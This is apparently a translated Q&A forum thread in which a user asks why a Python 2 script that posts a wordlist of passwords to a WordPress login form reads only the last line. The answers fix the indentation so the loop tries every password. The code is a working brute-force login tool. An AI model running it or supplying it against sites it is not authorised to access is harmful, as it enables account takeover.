python读取最后一行!
我的问题出在这段代码上:
try:
PassL = open(sys.argv[3], "r").readlines()
print "[+] Passwords:",len(PassL),"\n"
except(IOError):
print "[-] Error: Check your wordlist path\n"
sys.exit(1)
for word in PassL:
word = word.replace("\r","").replace("\n","")
login_form_seq = [
('log', sys.argv[2]),
('pwd', word),
('rememberme', 'forever'),
('wp-submit', 'Login >>'),
('redirect_to', 'wp-admin/')]
try:
login_form_data = urllib.urlencode(login_form_seq)
opener = urllib2.build_opener()
except:
print'Unknown ERROR'
try:
OP = opener.open(host, login_form_data).read()
except(urllib2.URLError), msg:
print msg
OP = ""
else:
'wrong?'
if re.search("WordPress requires Cookies",OP):
print "[-] Failed: WordPress has cookies enabled\n"
sys.exit(1)
#Change this response if different. (language)
if re.search("<strong>ERROR</strong>",OP):
print "[-] Login Failed :",word
else:
print "\n[!] Login Successfull:",'[#]The Information:',sys.argv[2],':',word
问题是,我提供了 sys.argv[2]
,这样可以获取到 txt
文件。比如:
www.py wow.txt
然后在我的 Python 脚本中,我试图用 wow.txt
中的密码登录一个网站。问题是,我在 wow.txt
里放了 15 个密码,而我的 www.py
脚本只读取了最后一行的密码!
这个脚本的目的是因为我忘记了很多 Wordpress 账户(大约六个账户),其实我还在考虑每个账户尝试 25 个密码。所以请帮我简化这个过程——别说“去手动试试”,就给我代码或者正确的方法吧。
2 个回答
2
你的 for word in PassL
循环现在只有一行代码,但看起来你可能想让后面的代码也跟着这个循环一起执行。
目前,这个循环会遍历列表,把变量 word
替换成新的值(根据替换命令)。当循环结束时,word
里存的就是列表中的最后一个值(没有换行符)。
如果你把后面代码的缩进加大,那么这些代码就会在文件的每一行上都执行一次。
3
你写的大部分代码根本不会执行,因为它在一个 except
块里,并且无条件地跟在 sys.exit
后面——所以即使发生了异常,代码也不会执行到那里(当然,如果没有异常,整个 except
块根本就不会被进入)。再看看你发的代码……:
except(IOError):
print "[-] Error: Check your wordlist path\n"
sys.exit(1)
for word in PassL:
word = word.replace("\r","").replace("\n","")
login_form_seq = [ (etc etc)
很明显,你的缩进完全错了。我猜你想要的是:
except(IOError):
print "[-] Error: Check your wordlist path\n"
sys.exit(1)
for word in PassL:
word = word.replace("\r","").replace("\n","")
login_form_seq = [ (etc etc)
也就是说,只需要把两行的缩进去掉(这样其他的部分仍然是循环的一部分)。
我真不知道你是怎么把代码缩进搞得这么糟糕的。也许你在用制表符(而不是每次缩进都用4个空格),而你的编辑器或IDE的设置让你对缩进的实际情况产生了误解。